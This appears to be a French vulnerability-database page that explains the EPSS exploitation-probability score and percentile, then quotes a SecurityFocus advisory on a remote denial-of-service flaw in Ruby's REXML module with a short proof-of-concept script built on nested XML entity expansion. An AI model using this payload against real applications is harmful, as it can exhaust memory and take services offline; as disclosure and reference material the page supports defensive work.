EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

source: https://www.securityfocus.com/bid/30802/info Ruby is prone to a remote denial-of-service vulnerability in its REXML module. Successful exploits may allow remote attackers to cause denial-of-service conditions in applications that use the vulnerable module. Versions up to and including Ruby 1.9.0-3 are vulnerable. #!/usr/bin/env ruby require 'rexml/document' doc = REXML::Document.new(<<END) <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE member [ <!ENTITY a "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;"> <!ENTITY b "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;"> <!ENTITY c "&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;"> <!ENTITY d "&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;"> <!ENTITY e "&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;"> <!ENTITY f "&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;"> <!ENTITY g "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"> ]> <member> &a; </member> END puts doc.root.text.size
